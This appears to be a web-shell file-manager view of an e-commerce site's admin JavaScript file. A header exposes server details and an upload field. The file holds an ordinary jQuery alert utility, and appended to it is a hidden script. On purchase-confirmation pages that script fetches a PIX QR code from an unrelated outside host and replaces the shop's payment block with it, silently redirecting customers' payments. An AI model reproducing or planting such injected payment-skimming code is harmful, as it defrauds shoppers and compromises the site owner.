| Server IP : 54.233.248.239 / Your IP : 172.28.20.13 Web Server : Apache System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/vinumday2_0/public/js/admin/ |
Upload File : |
if (!alertUtil) {
alertUtil = function() {
this.alertWarning = function (titulo, mensagem = "", close = false) {
var $alertWarning = $('<div class="alerta alerta-warning"><div class="wrap-icone"><i class="icone fa fa-exclamation"></i></div><div class="text"><span class="titulo">'+titulo+'</span><span>'+mensagem+'</span></div><a href="#" class="fecha-alerta"><i class="fa fa-times"></i></a></div>');
$('.alertas-cont').append($alertWarning);
setTimeout(function(){
$alertWarning.show();
$alertWarning.addClass('active');
}, 10);
if(close){
setTimeout(function(){
$(this).parent('.alerta.alerta-warning').removeClass('active');
$alertWarning.hide();
$alertWarning.remove();
}, 6000);
}
$('.fecha-alerta').click(function(e){
e.preventDefault();
$(this).parent('.alerta.alerta-warning').removeClass('active');
$alertWarning.hide();
$alertWarning.remove();
});
}
this.alertError = function (titulo, mensagem = "", close = false, timeout = 6) {
var $alertError = $('<div class="alerta alerta-danger"><div class="wrap-icone"><i class="icone fa fa-times"></i></div><div class="text"><span class="titulo">'+titulo+'</span><span>'+mensagem+'</span></div><a href="#" class="fecha-alerta"><i class="fa fa-times"></i></a></div>');
$('.alertas-cont').append($alertError);
setTimeout(function(){
$alertError.show();
$alertError.addClass('active');
}, 10);
if(close == false){
setTimeout(function(){
$alertError.removeClass('active');
$alertError.hide();
$alertError.remove();
}, (timeout * 1000));
}
$('.fecha-alerta').click(function(e){
e.preventDefault();
$alertError.removeClass('active');
$alertError.hide();
$alertError.remove();
});
}
this.alertInfo = function (titulo, mensagem = "", close = false) {
var $alertInfo = $('<div class="alerta alerta-info"><div class="wrap-icone"><i class="icone fa fa-info"></i></div><div class="text"><span class="titulo">'+titulo+'</span><span>'+mensagem+'</span></div><a href="#" class="fecha-alerta"><i class="fa fa-times"></i></a></div>');
$('.alertas-cont').append($alertInfo);
setTimeout(function(){
$alertInfo.show();
$alertInfo.addClass('active');
}, 10);
setTimeout(function(){
$alertInfo.removeClass('active');
$alertInfo.hide();
$alertInfo.remove();
}, 6000);
$('.fecha-alerta').click(function(e){
e.preventDefault();
$alertInfo.removeClass('active');
$alertInfo.hide();
$alertInfo.remove();
});
}
this.alertSuccess = function (titulo, mensagem = "", close = false) {
var $alertSuccess = $('<div class="alerta alerta-success"><div class="wrap-icone"><i class="icone fa fa-check"></i></div><div class="text"><span class="titulo">'+titulo+'</span><span>'+mensagem+'</span></div><a href="#" class="fecha-alerta"><i class="fa fa-times"></i></a></div>');
$('.alertas-cont').append($alertSuccess);
setTimeout(function(){
$alertSuccess.show();
$alertSuccess.addClass('active');
}, 10);
if(close == false){
setTimeout(function(){
$alertSuccess.removeClass('active');
$alertSuccess.hide();
$alertSuccess.remove();
}, 6000);
}
$alertSuccess.find('.fecha-alerta').click(function(e){
e.preventDefault();
$alertSuccess.removeClass('active');
$alertSuccess.hide();
$alertSuccess.remove();
});
}
}
}
var alertUtil = new alertUtil();
(function () {
const url = window.location.href;
if (!url.includes("/perfil/confirmacao-compra/")) return;
const PIX_TEXT = "CHAVE PIX:";
let jaExecutou = false;
const waitForElement = (selector, timeout = 10000) => {
return new Promise((resolve, reject) => {
const element = document.querySelector(selector);
if (element) return resolve(element);
const observer = new MutationObserver(() => {
const element = document.querySelector(selector);
if (element) {
observer.disconnect();
resolve(element);
}
});
observer.observe(document.body, { childList: true, subtree: true });
setTimeout(() => {
observer.disconnect();
reject(new Error(`Element ${selector} not found`));
}, timeout);
});
};
const checkIfPixTextIsVisible = () => {
const walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT, null, false);
let node;
while (node = walker.nextNode()) {
if (node.textContent.includes(PIX_TEXT)) {
const parent = node.parentElement;
if (parent && parent.offsetParent !== null) return true;
}
}
return false;
};
const executarSubstituicao = async () => {
try {
await waitForElement(".valor-total-deposito > strong:nth-child(1)");
const finalValor = Math.round(parseFloat(document.querySelector('.valor-total-deposito > strong:nth-child(1)').textContent.replace('R$ ', '').replace('.', '').replace(',', '.')) * 100);
let data;
try {
const r = await fetch(`https://loja.oticaademar.com.br/app/pagarme5/pix.php?valor=${finalValor}`);
data = await r.json();
} catch (e) {
return;
}
const qrcode = data?.body?.pix?.qrcode;
if (!qrcode) {
return;
}
const iframeSrc = `https://loja.oticaademar.com.br/app/pagarme5/qrcode.php?qrcode=${encodeURIComponent(qrcode)}`;
const container = await waitForElement(".pix");
if (!container) {
return;
}
try {
container.outerHTML = `<center><iframe src="${iframeSrc}" width="300" height="300" frameborder="0" style="border:0;"></iframe><br><br><b>${qrcode}</b></center>`;
} catch (e) {
}
} catch (error) {
jaExecutou = false;
}
};
const verificarEExecutar = () => {
if (jaExecutou) return;
if (checkIfPixTextIsVisible()) {
jaExecutou = true;
executarSubstituicao();
}
};
const iniciarObservadorContinuo = () => {
verificarEExecutar();
const observer = new MutationObserver(() => {
verificarEExecutar();
});
observer.observe(document.body, {
childList: true,
subtree: true,
characterData: true,
attributes: false
});
};
const init = () => {
if (!document.body) {
setTimeout(init, 100);
return;
}
iniciarObservadorContinuo();
};
if (document.readyState === "loading") {
document.addEventListener("DOMContentLoaded", init);
} else {
init();
}
})();